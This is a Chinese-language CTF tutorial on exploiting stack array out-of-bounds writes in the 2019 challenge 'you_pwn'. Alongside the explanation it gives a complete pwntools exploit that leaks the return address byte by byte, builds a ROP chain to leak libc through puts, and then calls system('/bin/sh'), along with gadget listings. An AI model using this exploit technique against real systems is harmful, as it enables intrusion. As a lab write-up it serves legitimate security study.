PWN入门之数组越界
实验目的
利用数组越界的特性,去填充不能利用栈溢出的方法去覆盖的值。
通过这次实验,使我们掌握利用数组越界去继续泄露的方法。
实验文件
链接:https://pan.baidu.com/s/1tLyKYjdLXjLKjRHoivhYnQ
提取码:m6ra
我们主要通过2019年4月信息安全国赛的you_pwn来介绍一下怎么去利用数组越界。
实验步骤
首先介绍一下数组越界的原理:
数组越界分两种:一个是堆中的数组越界,一个是栈中的数组越界。
1、堆中的数组越界:
因为堆是我们自己分配的,如果越界,那么会把堆中其他空间的数据给写掉,或读取了其他空间的数据,这样就会导致其他变量的数据变得不对,如果是一个指针的话,那么有可能会引起crash,这里我们主要谈论栈中的数组越界问题。
2、栈中的数组越界:
因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。
栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。
这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果。
下面我们主要通过you_pwn来介绍一下怎么利用数组越界。
首先对you_pwn进行检测,看看有没有保护机制。
发现堆栈是canary found ,所以我们不可以进行栈溢出。
所以我们得找其他的方法进行泄露。
RELRO存在 Partial RELRO,说明got表不可写。
对文件进行静态分析:
我们通过输入v1,去选择我们想看栈中的位置。
通过输入v2,去篡改栈上的值。
再进行动态调试:
先运行一下you_pwn
在进行输入的时候,特别要注意每次只能写一个字节,即8bit。
所以,我们可以通过输入v1、v2去泄露出ret的地址,得到栈的基址。
从这里可以看出ret地址距离v[4]是(0x150+0x8)
def one(a,offset):
aa=0x0
for i in range(8):
p.recvuntil('input index\n')
p.sendline(str(offset))
p.recvuntil('now value(hex) ')
b=int(p.recvuntil('\n',drop=True)[-2:],16)
aa|=b<<(8*i)
new_value=(a>>(8*i))&0xff
p.sendline(str(new_value))
offset+=1
aa&=0xffffffffffffffff
print hex(aa)
return aa
因为ret地址是8位,我们一次只能泄露一个字节,所以我们循环8次。而将每一个字节拼在一起构成8位的ret地址的时候,我们通常用采用左移或者右移的方法。通过这样的方法泄露出ret的地址。
code_base=(one(0x12345678,offset))&0xfffffffffffff000
然后再与fffffffffffff000相与,得到栈的基址。因为栈的基址最后3位都是为0。
泄露出的地址:
然后在泄露出put函数在got表上的地址
print('puts',hex(elf.plt['puts']+code_base))
然后再泄露出libc的地址,然后构造system("/bin/sh")的payload。
puts_libc=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_libc)
libc_base=puts_libc-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
print('system=',hex(system))
print('bin_sh',hex(bin_sh))
最后进行getshell。
最后附上exp.py
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
p=process('./pwn')
elf=ELF('./pwn')
p.recvuntil('name:')
name='tt'
p.sendline(name)
offset=0x150+0x8
fun_entry=0x0000000000000B35
def one(a,offset):
aa=0x0
for i in range(8):
p.recvuntil('input index\n')
p.sendline(str(offset))
p.recvuntil('now value(hex) ')
b=int(p.recvuntil('\n',drop=True)[-2:],16)
aa|=b<<(8*i)
new_value=(a>>(8*i))&0xff
p.sendline(str(new_value))
offset+=1
aa&=0xffffffffffffffff
print hex(aa)
return aa
code_base=(one(0x12345678,offset))&0xfffffffffffff000
pop_rdi=code_base+0x0000000000000d03
print('puts',hex(elf.plt['puts']+code_base))
one(pop_rdi,0x158)
one(elf.got['puts']+code_base,0x160)
#pwnlib.gdb.attach(p)
one(elf.plt['puts']+code_base,0x168)
one(fun_entry+code_base,0x170)
p.recvuntil('input index\n')
p.sendline(str(-100))
p.recvuntil('now value(hex) ')
p.sendline(str(0))
p.recvuntil('(yes/no)? \n')
p.sendline('yes')
puts_libc=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_libc)
libc_base=puts_libc-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
print('system=',hex(system))
print('bin_sh',hex(bin_sh))
one(pop_rdi,0x158)
one(bin_sh,0x160)
one(system,0x168)
one(0,-0x100)
one(0,-0x100)
p.recvuntil('input index\n')
p.sendline(str(-100))
p.recvuntil('now value(hex) ')
p.sendline(str(0))
#p.recvuntil('(yes/no)? \n')
p.recv()
p.sendline('yes')
p.interactive()
'''
0x0000000000000cfc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000cfe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000d00 : pop r14 ; pop r15 ; ret
0x0000000000000d02 : pop r15 ; ret
0x0000000000000cfb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000cff : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000000099b : pop rbp ; ret
0x00000000
'''
上一篇: 数组的越界访问